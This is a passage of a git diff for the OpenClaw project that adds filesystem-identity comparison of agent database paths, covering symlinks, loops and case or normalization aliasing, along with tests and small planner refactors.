missingSuffixAliasCache = new Map(); +const MAX_DANGLING_SYMLINK_HOPS = 64; +const PROBE_NAME_LENGTH = 6; +const PROBE_ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"; +const PROBE_FIRST_ALPHABET = "bdefghijkmoqrstuvwxyz"; + +type CreatedProbePath = { + path: string; + device: bigint | number; + inode: bigint | number; +}; + +function createSymlinkLoopError(lexicalPath: string): NodeJS.ErrnoException { + const error = new Error(`Symlink loop while resolving ${lexicalPath}.`) as NodeJS.ErrnoException; + error.code = "ELOOP"; + return error; +} + +function areAsciiCaseVariants(left: string | undefined, right: string | undefined): boolean { + const foldAsciiCase = (value: string) => + value.replace(/[A-Z]/gu, (letter) => String.fromCharCode(letter.charCodeAt(0) + 0x20)); + return left !== undefined && right !== undefined && foldAsciiCase(left) === foldAsciiCase(right); +} + +function isWindowsReservedPathComponent(value: string): boolean { + const stem = value + .split(".", 1)[0]! + .replace(/[ .]+$/u, "") + .toUpperCase(); + return /^(?:CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])$/u.test(stem); +} + +function createNormalizationProbePairs( + left: string, + right: string, +): readonly (readonly [string, string])[] { + const pairs: Array = []; + const seen = new Set(); + const addPair = (candidateLeft: string, candidateRight: string) => { + if (!areAsciiCaseVariants(candidateLeft.normalize("NFC"), candidateRight.normalize("NFC"))) { + return; + } + if ( + isWindowsReservedPathComponent(candidateLeft) || + isWindowsReservedPathComponent(candidateRight) + ) { + return; + } + if ( + candidateLeft === left || + candidateLeft === right || + candidateRight === left || + candidateRight === right + ) { + return; + } + const key = `${candidateLeft}\0${candidateRight}`; + if (!seen.has(key)) { + seen.add(key); + pairs.push([candidateLeft, candidateRight]); + } + }; + + const replaceAscii = (value: string, replacements: ReadonlyMap) => + value.replace(/[A-Za-z]/gu, (character) => { + const lower = character.toLowerCase(); + const replacement = replacements.get(lower); + if (!replacement) { + return character; + } + return character === lower ? replacement : replacement.toUpperCase(); + }); + const presentAscii = [...new Set(`${left}${right}`.toLowerCase().match(/[a-z]/gu) ?? [])]; + const mutableAscii = presentAscii.filter((source) => { + const replacement = source === "z" ? "y" : "z"; + const replacements = new Map([[source, replacement]]); + return areAsciiCaseVariants( + replaceAscii(left, replacements).normalize("NFC"), + replaceAscii(right, replacements).normalize("NFC"), + ); + }); + for (let attempt = 0; attempt < 24 && mutableAscii.length > 0; attempt += 1) { + const entropy = randomBytes(mutableAscii.length); + const replacements = new Map( + mutableAscii.map((source, index) => [ + source, + String.fromCharCode("a".charCodeAt(0) + (entropy[index]! % 26)), + ]), + ); + addPair(replaceAscii(left, replacements), replaceAscii(right, replacements)); + } + return pairs; +} + +function createAsciiCaseProbePairs( + nameLength: number, + forbiddenNames: ReadonlySet, +): readonly (readonly [string, string])[] { + const pairs: Array = []; + for (let attempt = 0; attempt < 96 && pairs.length < 24; attempt += 1) { + const base = createPrivateProbeName(nameLength); + const alias = `${base[0]!.toUpperCase()}${base.slice(1)}`; + if (!forbiddenNames.has(base) && !forbiddenNames.has(alias)) { + pairs.push([base, alias]); + } + } + return pairs; +} + +function createPrivateProbeName(nameLength: number): string { + const entropy = randomBytes(nameLength); + return [...entropy] + .map((value, index) => { + const alphabet = index === 0 ? PROBE_FIRST_ALPHABET : PROBE_ALPHABET; + return alphabet[value % alphabet.length]; + }) + .join(""); +} + +function createPrivateProbeNames( + nameLength: number, + forbiddenNames: ReadonlySet, +): readonly string[] { + const names: string[] = []; + for (let attempt = 0; attempt < 96 && names.length < 24; attempt += 1) { + const name = createPrivateProbeName(nameLength); + if (!forbiddenNames.has(name)) { + names.push(name); + } + } + return names; +} + +function removeOwnedProbePath(created: CreatedProbePath): boolean { + try { + const current = lstatSync(created.path, { bigint: true }); + if (current.dev !== created.device || current.ino !== created.inode || !current.isDirectory()) { + return false; + } + // Never recursively remove a probe: another process may have started using the + // directory after our exclusive mkdir. ENOTEMPTY deliberately leaves it intact. + rmdirSync(created.path); + return true; + } catch (error) { + return (error as NodeJS.ErrnoException).code === "ENOENT"; + } +} + +function removeTrackedProbePath(createdPaths: CreatedProbePath[], probePath: string): void { + const index = createdPaths.findLastIndex((created) => created.path === probePath); + if (index >= 0) { + createdPaths.splice(index, 1); + } +} + +function createDirectoryAliasProbe(params: { + parentPath: string; + pairs: readonly (readonly [string, string])[]; + createdPaths: CreatedProbePath[]; +}): { aliases: boolean; path: string } | undefined { + for (const [firstName, aliasName] of params.pairs) { + const probePath = path.join(params.parentPath, firstName); + const aliasPath = path.join(params.parentPath, aliasName); + try { + mkdirSync(probePath); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "EEXIST") { + continue; + } + throw error; + } + const probeStat = lstatSync(probePath, { bigint: true }); + params.createdPaths.push({ + path: probePath, + device: probeStat.dev, + inode: probeStat.ino, + }); + try { + const aliasStat = lstatSync(aliasPath, { bigint: true }); + if (aliasStat.dev === probeStat.dev && aliasStat.ino === probeStat.ino) { + return { aliases: true, path: probePath }; + } + // The alternate spelling raced with the probe on a case-sensitive directory. + // Remove our entry and try another pair rather than inferring its semantics. + const created = params.createdPaths.at(-1); + if (created?.path === probePath && removeOwnedProbePath(created)) { + removeTrackedProbePath(params.createdPaths, probePath); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + return { aliases: false, path: probePath }; + } + throw error; + } + } + return undefined; +} + +function createNeutralProbeDirectory(params: { + parentPath: string; + createdPaths: CreatedProbePath[]; + forbiddenNames: ReadonlySet; + nameLength: number; +}): string | undefined { + for (const name of createPrivateProbeNames(params.nameLength, params.forbiddenNames)) { + const probePath = path.join(params.parentPath, name); + try { + mkdirSync(probePath); + const stat = lstatSync(probePath, { bigint: true }); + params.createdPaths.push({ path: probePath, device: stat.dev, inode: stat.ino }); + return probePath; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "EEXIST") { + throw error; + } + } + } + return undefined; +} + +function areMissingSuffixAliases(params: { + left: string | undefined; + right: string | undefined; + parentDevice: bigint | number; + parentInode: bigint | number; + parentRealPath: string; +}): boolean { + if (params.left === undefined || params.right === undefined) { + return false; + } + if (params.left === params.right) { + return true; + } + if (!areAsciiCaseVariants(params.left.normalize("NFC"), params.right.normalize("NFC"))) { + return false; + } + const leftSegments = params.left.split(path.sep); + const rightSegments = params.right.split(path.sep); + if ( + leftSegments.length !== rightSegments.length || + [...leftSegments, ...rightSegments].some( + (segment) => !segment || segment === "." || segment === "..", + ) + ) { + return false; + } + const suffixPair = [params.left, params.right].toSorted(); + const cacheKey = JSON.stringify([ + params.parentDevice.toString(), + params.parentInode.toString(), + params.parentRealPath, + ...suffixPair, + ]); + const cached = missingSuffixAliasCache.get(cacheKey); + if (cached !== undefined) { + return cached; + } + const createdPaths: CreatedProbePath[] = []; + const maxProbePathLength = Math.max( + path.join(params.parentRealPath, params.left).length, + path.join(params.parentRealPath, params.right).length, + ); + try { + let probeParent = params.parentRealPath; + for (let index = 0; index < leftSegments.length; index += 1) { + const leftSegment = leftSegments[index]!; + const rightSegment = rightSegments[index]!; + const normalizedLeft = leftSegment.normalize("NFC"); + const normalizedRight = rightSegment.normalize("NFC"); + if (!areAsciiCaseVariants(normalizedLeft, normalizedRight)) { + missingSuffixAliasCache.set(cacheKey, false); + return false; + } + + const availableProbeNameLength = + maxProbePathLength - probeParent.length - (probeParent.endsWith(path.sep) ? 0 : 1); + const componentProbeNameLength = Math.max( + 1, + Math.min(PROBE_NAME_LENGTH, leftSegment.length, rightSegment.length), + ); + const forbiddenNames = new Set([leftSegment, rightSegment]); + + let nextProbeParent: string | undefined; + if (normalizedLeft !== normalizedRight) { + const caseProbe = createDirectoryAliasProbe({ + parentPath: probeParent, + pairs: createAsciiCaseProbePairs(componentProbeNameLength, forbiddenNames), + createdPaths, + }); + if (!caseProbe) { + return true; + } + if (!caseProbe.aliases) { + missingSuffixAliasCache.set(cacheKey, false); + return false; + } + nextProbeParent = caseProbe.path; + } + if (leftSegment !== normalizedLeft || rightSegment !== normalizedRight) { + let normalizationPairs = createNormalizationProbePairs(leftSegment, rightSegment).filter( + ([probeLeft, probeRight]) => + probeLeft.length <= availableProbeNameLength && + probeRight.length <= availableProbeNameLength, + ); + let normalizationProbeParent = probeParent; + if (normalizationPairs.length === 0) { + const privateParent = createNeutralProbeDirectory({ + parentPath: probeParent, + createdPaths, + forbiddenNames, + nameLength: componentProbeNameLength, + }); + if (!privateParent) { + return true; + } + normalizationProbeParent = privateParent; + normalizationPairs = [[leftSegment, rightSegment]]; + } + const normalizationProbe = createDirectoryAliasProbe({ + parentPath: normalizationProbeParent, + pairs: normalizationPairs, + createdPaths, + }); + if (!normalizationProbe) { + return true; + } + if (!normalizationProbe.aliases) { + missingSuffixAliasCache.set(cacheKey, false); + return false; + } + nextProbeParent ??= normalizationProbe.path; + } + if (index < leftSegments.length - 1) { + nextProbeParent ??= createNeutralProbeDirectory({ + parentPath: probeParent, + createdPaths, + forbiddenNames, + nameLength: componentProbeNameLength, + }); + if (!nextProbeParent) { + return true; + } + probeParent = nextProbeParent; + } + } + missingSuffixAliasCache.set(cacheKey, true); + return true; + } catch { + // Unprobeable case/normalization candidates are ambiguous. Treat them as + // colliding so registry uniqueness fails closed instead of admitting two owners. + return true; + } finally { + for (const created of createdPaths.toReversed()) { + removeOwnedProbePath(created); + } + } +} + +function resolveDanglingSymlinkTargetPath(lexicalPath: string): { + existingPath: string; + unresolvedSegments: string[]; +} { + let resolved = path.parse(lexicalPath).root; + const remaining = lexicalPath.slice(resolved.length).split(path.sep).filter(Boolean); + const visitedSymlinks = new Set(); + const visitedResolutionStates = new Set(); + let symlinkHops = 0; + while (remaining.length > 0) { + const segment = remaining.shift(); + if (!segment || segment === ".") { + continue; + } + if (segment === "..") { + resolved = path.dirname(resolved); + continue; + } + const candidate = path.join(resolved, segment); + try { + const stat = lstatSync(candidate, { bigint: true }); + if (!stat.isSymbolicLink()) { + resolved = candidate; + continue; + } + const symlinkIdentity = `${stat.dev}:${stat.ino}:${candidate}`; + const resolutionState = `${symlinkIdentity}\0${remaining.join(path.sep)}`; + if ( + symlinkHops >= MAX_DANGLING_SYMLINK_HOPS || + (visitedSymlinks.has(symlinkIdentity) && visitedResolutionStates.has(resolutionState)) + ) { + throw createSymlinkLoopError(lexicalPath); + } + visitedSymlinks.add(symlinkIdentity); + visitedResolutionStates.add(resolutionState); + symlinkHops += 1; + const target = readlinkSync(candidate); + if (path.isAbsolute(target)) { + resolved = path.parse(target).root; + remaining.unshift(...target.slice(resolved.length).split(path.sep)); + } else { + // Process raw target components in order: normalizing `..` here would skip + // filesystem resolution of a preceding symlink and could change ownership. + remaining.unshift(...target.split(path.sep)); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + // Once a component is missing, later `..` components cannot traverse it + // on the filesystem. Preserve the raw suffix so lexical normalization + // cannot alias this dangling path to a live database. + return { existingPath: resolved, unresolvedSegments: [segment, ...remaining] }; + } + throw error; + } + } + return { existingPath: resolved, unresolvedSegments: [] }; +} + +function anchorDatabasePathWithoutNormalizing(pathname: string): string { + const platformPath = path.sep === "\\" ? pathname.replaceAll("/", "\\") : pathname; + if (path.isAbsolute(platformPath)) { + return platformPath; + } + if (path.sep === "\\") { + const driveRelative = /^([A-Za-z]:)(.*)$/u.exec(platformPath); + if (driveRelative) { + // Resolve only the drive's current-directory anchor. Appending the raw + // suffix preserves `..` for the component-wise filesystem walk below. + const driveBase = path.resolve(`${driveRelative[1]}.`); + return driveRelative[2] + ? `${driveBase}${driveBase.endsWith(path.sep) ? "" : path.sep}${driveRelative[2]}` + : driveBase; + } + } + const cwd = process.cwd(); + return `${cwd}${cwd.endsWith(path.sep) ? "" : path.sep}${platformPath}`; +} + +function resolveAgentDatabasePathIdentity(pathname: string): AgentDatabasePathIdentity { + // `path.resolve` collapses `..` before symlinks are inspected, but the filesystem + // resolves `link/..` from the link target. Anchor relative input without rewriting tokens. + const lexicalPath = anchorDatabasePathWithoutNormalizing(pathname); + try { + const stat = statSync(lexicalPath, { bigint: true }); + return { + lexicalPath, + realPath: realpathSync.native(lexicalPath), + device: stat.dev, + inode: stat.ino, + }; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + // Preserve symlink/alias identity before the leaf exists without lexically + // collapsing unresolved components such as `missing/../live.sqlite`. + const dangling = resolveDanglingSymlinkTargetPath(lexicalPath); + const parentStat = statSync(dangling.existingPath, { bigint: true }); + const parentRealPath = realpathSync.native(dangling.existingPath); + return { + lexicalPath, + parentDevice: parentStat.dev, + parentInode: parentStat.ino, + parentRealPath, + unresolvedSuffix: dangling.unresolvedSegments.join(path.sep), + }; + } +} + +/** Compare two database locators by canonical filesystem identity when available. */ +export function isSameOpenClawAgentDatabasePath(left: string, right: string): boolean { + const leftIdentity = resolveAgentDatabasePathIdentity(left); + const rightIdentity = resolveAgentDatabasePathIdentity(right); + if (leftIdentity.lexicalPath === rightIdentity.lexicalPath) { + return true; + } + if (leftIdentity.realPath && leftIdentity.realPath === rightIdentity.realPath) { + return true; + } + const parentDevice = leftIdentity.parentDevice; + const parentInode = leftIdentity.parentInode; + const sameMissingParent = + parentDevice !== undefined && + parentInode !== undefined && + parentDevice === rightIdentity.parentDevice && + parentInode === rightIdentity.parentInode; + const sameMissingSuffix = + leftIdentity.unresolvedSuffix === rightIdentity.unresolvedSuffix || + (sameMissingParent && + parentDevice !== undefined && + parentInode !== undefined && + leftIdentity.parentRealPath !== undefined && + areMissingSuffixAliases({ + left: leftIdentity.unresolvedSuffix, + right: rightIdentity.unresolvedSuffix, + parentDevice, + parentInode, + parentRealPath: leftIdentity.parentRealPath, + })); + return ( + (leftIdentity.device !== undefined && + leftIdentity.inode !== undefined && + leftIdentity.device === rightIdentity.device && + leftIdentity.inode === rightIdentity.inode) || + (sameMissingParent && sameMissingSuffix) + ); +} + export function registerOpenClawAgentDatabase(params: { agentId: string; path: string; diff --git a/src/state/openclaw-agent-db-schema-helpers.ts b/src/state/openclaw-agent-db-schema-helpers.ts index 75e67178fbea..5179bc8f1039 100644 --- a/src/state/openclaw-agent-db-schema-helpers.ts +++ b/src/state/openclaw-agent-db-schema-helpers.ts @@ -33,7 +33,7 @@ type ExistingAgentSchemaMeta = { schemaVersion: number | null; }; -const OPENCLAW_AGENT_SCHEMA_COMPATIBILITY = { +const AGENT_SCHEMA_COMPATIBILITY = { allowedColumnDefinitions: { "conversations.delivery_target": ["delivery_target TEXT NOT NULL DEFAULT ''"], }, @@ -50,7 +50,7 @@ export function assertOpenClawAgentSchemaContains( pathname: string, schemaSql: string, ): void { - assertSqliteSchemaContains(database, pathname, schemaSql, OPENCLAW_AGENT_SCHEMA_COMPATIBILITY); + assertSqliteSchemaContains(database, pathname, schemaSql, AGENT_SCHEMA_COMPATIBILITY); } export function assertOpenClawAgentCurrentRuntimeSchema( diff --git a/src/state/openclaw-agent-db.test.ts b/src/state/openclaw-agent-db.test.ts index 99ac6e899eb1..63b0f5ff4d3f 100644 --- a/src/state/openclaw-agent-db.test.ts +++ b/src/state/openclaw-agent-db.test.ts @@ -29,6 +29,7 @@ import { } from "./openclaw-agent-db-lease.js"; import { withOpenClawAgentDatabaseReadOnly } from "./openclaw-agent-db-readonly.js"; import { + isSameOpenClawAgentDatabasePath, registerOpenClawAgentDatabase, unregisterOpenClawAgentDatabase, } from "./openclaw-agent-db-registry.js"; @@ -72,6 +73,32 @@ function createTempStateDir(): string { return makeTempDir(agentDbTempDirs, "openclaw-agent-db-"); } +const tempVolumeIsCaseInsensitive = (() => { + const probeDir = fs.realpathSync(createTempStateDir()); + const probePath = path.join(probeDir, "CaseProbe"); + fs.writeFileSync(probePath, "probe"); + try { + const probe = fs.lstatSync(probePath, { bigint: true }); + const alias = fs.lstatSync(path.join(probeDir, "caseProbe"), { bigint: true }); + return probe.dev === alias.dev && probe.ino === alias.ino; + } catch { + return false; + } +})(); + +const tempVolumeIsNormalizationInsensitive = (() => { + const probeDir = fs.realpathSync(createTempStateDir()); + const probePath = path.join(probeDir, "CaféProbe"); + fs.writeFileSync(probePath, "probe"); + try { + const probe = fs.lstatSync(probePath, { bigint: true }); + const alias = fs.lstatSync(path.join(probeDir, "CaféProbe"), { bigint: true }); + return probe.dev === alias.dev && probe.ino === alias.ino; + } catch { + return false; + } +})(); + function downgradeCurrentAgentDatabaseToV13(databasePath: string): void { const { DatabaseSync } = requireNodeSqlite(); const database = new DatabaseSync(databasePath); @@ -1642,6 +1669,284 @@ describe("openclaw agent database", () => { ).toEqual([defaultDatabase.path, relocated.path].toSorted()); }); + it.runIf(process.platform !== "win32")( + "resolves registered owners through symlinked database paths", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const env = { OPENCLAW_STATE_DIR: stateDir }; + const realDir = path.join(stateDir, "real-databases"); + const aliasDir = path.join(stateDir, "alias-databases"); + fs.mkdirSync(realDir, { recursive: true }); + fs.symlinkSync(realDir, aliasDir, "dir"); + const realPath = path.join(realDir, "worker.sqlite"); + const aliasPath = path.join(aliasDir, "worker.sqlite"); + expect(fs.existsSync(realPath)).toBe(false); + expect(isSameOpenClawAgentDatabasePath(realPath, aliasPath)).toBe(true); + const futureRealPath = path.join(realDir, "future-worker.sqlite"); + const danglingAliasPath = path.join(stateDir, "future-worker-alias.sqlite"); + fs.symlinkSync(futureRealPath, danglingAliasPath); + expect(isSameOpenClawAgentDatabasePath(futureRealPath, danglingAliasPath)).toBe(true); + const deepDir = path.join(realDir, "deep"); + const deepAliasDir = path.join(stateDir, "deep-alias"); + fs.mkdirSync(deepDir); + fs.symlinkSync(deepDir, deepAliasDir, "dir"); + const relativeAliasPath = path.join(deepAliasDir, "relative-worker.sqlite"); + const relativeRealPath = path.join(realDir, "relative-worker.sqlite"); + fs.symlinkSync("../relative-worker.sqlite", relativeAliasPath); + expect(isSameOpenClawAgentDatabasePath(relativeRealPath, relativeAliasPath)).toBe(true); + const redirectedDir = path.join(stateDir, "redirected-databases"); + const redirectedNestedDir = path.join(redirectedDir, "nested"); + const redirectLink = path.join(stateDir, "redirect-link"); + fs.mkdirSync(redirectedNestedDir, { recursive: true }); + fs.symlinkSync(redirectedNestedDir, redirectLink, "dir"); + const redirectedRealPath = path.join(redirectedDir, "redirected-worker.sqlite"); + const redirectedAliasPath = path.join(stateDir, "redirected-worker-alias.sqlite"); + fs.symlinkSync("redirect-link/../redirected-worker.sqlite", redirectedAliasPath); + expect(isSameOpenClawAgentDatabasePath(redirectedRealPath, redirectedAliasPath)).toBe(true); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "redirected-worker.sqlite"), + redirectedAliasPath, + ), + ).toBe(false); + const livePath = path.join(stateDir, "live-worker.sqlite"); + fs.writeFileSync(livePath, "live"); + const danglingTraversalAlias = path.join(stateDir, "dangling-traversal.sqlite"); + fs.symlinkSync("missing/../live-worker.sqlite", danglingTraversalAlias); + expect(isSameOpenClawAgentDatabasePath(danglingTraversalAlias, livePath)).toBe(false); + const rawMissingTraversalPath = `${stateDir}${path.sep}missing${path.sep}..${path.sep}live-worker.sqlite`; + expect(isSameOpenClawAgentDatabasePath(rawMissingTraversalPath, livePath)).toBe(false); + const symlinkParentTarget = path.join(stateDir, "other", "nested"); + fs.mkdirSync(symlinkParentTarget, { recursive: true }); + const symlinkParent = path.join(stateDir, "parent-link"); + fs.symlinkSync(symlinkParentTarget, symlinkParent, "dir"); + const rawSymlinkParentTraversal = `${symlinkParent}${path.sep}..${path.sep}parent-owned.sqlite`; + expect( + isSameOpenClawAgentDatabasePath( + rawSymlinkParentTraversal, + path.join(stateDir, "other", "parent-owned.sqlite"), + ), + ).toBe(true); + expect( + isSameOpenClawAgentDatabasePath( + rawSymlinkParentTraversal, + path.join(stateDir, "parent-owned.sqlite"), + ), + ).toBe(false); + const loopPath = path.join(stateDir, "database-loop.sqlite"); + fs.symlinkSync(loopPath, loopPath); + expect(() => isSameOpenClawAgentDatabasePath(loopPath, realPath)).toThrow( + expect.objectContaining({ code: "ELOOP" }), + ); + const expandingLoopPath = path.join(stateDir, "expanding-database-loop.sqlite"); + fs.symlinkSync("expanding-database-loop.sqlite/child", expandingLoopPath); + expect(() => isSameOpenClawAgentDatabasePath(expandingLoopPath, realPath)).toThrow( + expect.objectContaining({ code: "ELOOP" }), + ); + const repeatedLinkDir = path.join(stateDir, "repeated-link-dir"); + fs.mkdirSync(repeatedLinkDir); + fs.symlinkSync(".", path.join(repeatedLinkDir, "self"), "dir"); + expect( + isSameOpenClawAgentDatabasePath( + path.join(repeatedLinkDir, "repeated.sqlite"), + path.join(repeatedLinkDir, "self", "self", "repeated.sqlite"), + ), + ).toBe(true); + const rewrittenLinkDir = path.join(stateDir, "rewritten-link-dir"); + fs.mkdirSync(path.join(rewrittenLinkDir, "K"), { recursive: true }); + fs.symlinkSync(".", path.join(rewrittenLinkDir, "L"), "dir"); + fs.symlinkSync("L/K", path.join(rewrittenLinkDir, "J")); + expect( + isSameOpenClawAgentDatabasePath( + path.join(rewrittenLinkDir, "K", "db.sqlite"), + path.join(rewrittenLinkDir, "L", "J", "db.sqlite"), + ), + ).toBe(true); + const database = openOpenClawAgentDatabase({ agentId: "worker", env, path: realPath }); + unregisterOpenClawAgentDatabase({ agentId: "worker", env, path: database.path }); + registerOpenClawAgentDatabase({ agentId: "worker", env, path: aliasPath }); + }, + ); + + it.runIf(tempVolumeIsCaseInsensitive)( + "matches missing database leaf aliases using case-insensitive volume semantics", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "Worker.sqlite"), + path.join(stateDir, "worker.sqlite"), + ), + ).toBe(true); + }, + ); + + it.runIf(tempVolumeIsCaseInsensitive)( + "folds ASCII case while preserving identical non-ASCII suffix code units", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "éWorker.sqlite"), + path.join(stateDir, "éworker.sqlite"), + ), + ).toBe(true); + }, + ); + + it.runIf(tempVolumeIsCaseInsensitive)( + "matches nested missing aliases using exact component case semantics", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "Future", "Agent", "worker.sqlite"), + path.join(stateDir, "future", "agent", "worker.sqlite"), + ), + ).toBe(true); + }, + ); + + it.runIf(tempVolumeIsCaseInsensitive)( + "probes near-limit missing leaf aliases without lengthening the component", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const upper = `${"A".repeat(220)}.sqlite`; + const lower = `${"a".repeat(220)}.sqlite`; + expect( + isSameOpenClawAgentDatabasePath(path.join(stateDir, upper), path.join(stateDir, lower)), + ).toBe(true); + }, + ); + + it.runIf(tempVolumeIsNormalizationInsensitive)( + "matches missing database leaf aliases using normalization-insensitive volume semantics", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "café.sqlite"), + path.join(stateDir, "café.sqlite"), + ), + ).toBe(true); + }, + ); + + it("uses the candidate code points for missing-path normalization semantics", () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const leftName = "\u2329.sqlite"; + const rightName = "\u3008.sqlite"; + const leftPath = path.join(stateDir, leftName); + const rightPath = path.join(stateDir, rightName); + fs.writeFileSync(leftPath, "probe"); + let aliases = false; + try { + const leftStat = fs.lstatSync(leftPath, { bigint: true }); + const rightStat = fs.lstatSync(rightPath, { bigint: true }); + aliases = leftStat.dev === rightStat.dev && leftStat.ino === rightStat.ino; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + } finally { + fs.unlinkSync(leftPath); + } + + expect(isSameOpenClawAgentDatabasePath(leftPath, rightPath)).toBe(aliases); + }); + + it("matches volume semantics for normalization-only missing directory components", () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const leftDir = path.join(stateDir, "é"); + const rightDir = path.join(stateDir, "é"); + fs.mkdirSync(leftDir); + let aliases = false; + try { + const leftStat = fs.lstatSync(leftDir, { bigint: true }); + const rightStat = fs.lstatSync(rightDir, { bigint: true }); + aliases = leftStat.dev === rightStat.dev && leftStat.ino === rightStat.ino; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + } finally { + fs.rmdirSync(leftDir); + } + + expect( + isSameOpenClawAgentDatabasePath( + path.join(leftDir, "openclaw-agent.sqlite"), + path.join(rightDir, "openclaw-agent.sqlite"), + ), + ).toBe(aliases); + }); + + it.runIf(process.platform === "win32")( + "matches drive-relative and absolute database paths without collapsing the suffix", + () => { + const cwd = process.cwd(); + const drive = path.parse(cwd).root.slice(0, 2); + const absolutePath = path.join(cwd, "future-drive-relative.sqlite"); + const driveRelativePath = `${drive}future-drive-relative.sqlite`; + + expect(isSameOpenClawAgentDatabasePath(driveRelativePath, absolutePath)).toBe(true); + }, + ); + + it.runIf(process.platform === "linux")( + "resolves finite relative traversal through hard-linked symlink entries", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const hardLinkedRoot = path.join(stateDir, "hard-linked-symlink"); + const hardLinkedNested = path.join(hardLinkedRoot, "d"); + fs.mkdirSync(hardLinkedNested, { recursive: true }); + const firstHardLink = path.join(hardLinkedRoot, "link"); + fs.symlinkSync("d/link", firstHardLink); + fs.linkSync(firstHardLink, path.join(hardLinkedNested, "link")); + + expect( + isSameOpenClawAgentDatabasePath(path.join(hardLinkedNested, "d", "link"), firstHardLink), + ).toBe(true); + }, + ); + + it.runIf(!tempVolumeIsCaseInsensitive)( + "does not mistake distinct hard-link spellings for case-insensitive lookup", + () => { + const stateDir = fs.realpathSync(createTempStateDir()); + const probePath = path.join(stateDir, "CaseProbe"); + fs.writeFileSync(probePath, "probe"); + fs.linkSync(probePath, path.join(stateDir, "caseProbe")); + + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "Worker.sqlite"), + path.join(stateDir, "worker.sqlite"), + ), + ).toBe(false); + }, + ); + + it("matches volume semantics for short nested missing path components", () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "a", "Foo.sqlite"), + path.join(stateDir, "a", "foo.sqlite"), + ), + ).toBe(tempVolumeIsCaseInsensitive); + }); + + it("does not equate Unicode paths through JavaScript case folding", () => { + const stateDir = fs.realpathSync(createTempStateDir()); + expect( + isSameOpenClawAgentDatabasePath( + path.join(stateDir, "İ.sqlite"), + path.join(stateDir, "i\u0307.sqlite"), + ), + ).toBe(false); + }); + it("does not refresh global registry metadata on cached opens", () => { const stateDir = createTempStateDir(); const env = { OPENCLAW_STATE_DIR: stateDir }; diff --git a/src/system-agent/agent-turn.test.ts b/src/system-agent/agent-turn.test.ts index 800fdd633411..59e2f064248d 100644 --- a/src/system-agent/agent-turn.test.ts +++ b/src/system-agent/agent-turn.test.ts @@ -2,6 +2,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { testing as cliBackendsTesting } from "../agents/cli-backends.test-support.js"; import { fingerprintResolvedProviderAuth } from "../agents/execution-auth-binding.js"; import type { OpenClawConfig } from "../config/types.js"; @@ -831,7 +832,7 @@ describe("runSystemAgentTurn", () => { disableMessageTool: true, }); expect(call.agentHarnessId).toBeUndefined(); - expect(call.config?.agents?.list?.find((agent) => agent.id === "openclaw")).toEqual({ + expect(listAgentEntries(call.config ?? {}).find((agent) => agent.id === "openclaw")).toEqual({ id: "openclaw", params: { temperature: 0.2 }, tools: { allow: ["read"], deny: ["exec"] }, diff --git a/src/system-agent/assistant.configured.test.ts b/src/system-agent/assistant.configured.test.ts index 8dd2262d7e0a..da8aecbc2c8a 100644 --- a/src/system-agent/assistant.configured.test.ts +++ b/src/system-agent/assistant.configured.test.ts @@ -277,6 +277,7 @@ describe("OpenClaw configured-model planner", () => { }); expect(runCliAgent).toHaveBeenCalledWith( expect.objectContaining({ + agentId: "ops", provider: "claude-cli", model: "claude-opus-4-8", agentDir: "/tmp/ops-agent", diff --git a/src/system-agent/assistant.ts b/src/system-agent/assistant.ts index 28aba8859ae7..4a9f0e29dcfe 100644 --- a/src/system-agent/assistant.ts +++ b/src/system-agent/assistant.ts @@ -149,7 +149,8 @@ async function runConfiguredSystemAgentText(params: { (params.deps?.resolveAssistantTimeoutMs ?? resolveSystemAgentAssistantTimeoutMs)(route); const shared = { sessionId: `${runId}-session`, - agentId: "openclaw", + // OpenClaw is the planner surface, but the configured roster owner supplies runtime policy. + agentId: route.agentId, trigger: "manual" as const, sessionFile: path.join(tempDir, "session.jsonl"), workspaceDir: tempDir, diff --git a/src/system-agent/inference-fallback.test.ts b/src/system-agent/inference-fallback.test.ts index aebd93cf4c0c..8e1b66797840 100644 --- a/src/system-agent/inference-fallback.test.ts +++ b/src/system-agent/inference-fallback.test.ts @@ -56,6 +56,28 @@ describe("system-agent inference fallback", () => { expect(attempts).toEqual(["requester", "alpha", "beta"]); }); + it("retains the implicit main fallback for a pre-roster config", async () => { + const attempts: string[] = []; + const result = await verifySystemAgentInferenceWithFallback({ + requestingAgentId: "requester", + runtime, + deps: { + readConfig: async () => ({}), + resolveRoute: async (_cfg, agentId) => route(agentId, agentId), + hasAuth: async () => true, + verify: async ({ agentId }) => { + attempts.push(agentId); + return agentId === "main" + ? ({ ok: true, modelRef: "main/model", latencyMs: 1, binding: {} } as never) + : ({ ok: false, status: "unavailable", error: "down" } as const); + }, + }, + }); + + expect(result.ok).toBe(true); + expect(attempts).toEqual(["requester", "main"]); + }); + it("skips unauthenticated fallback providers", async () => { const attempts: string[] = []; await 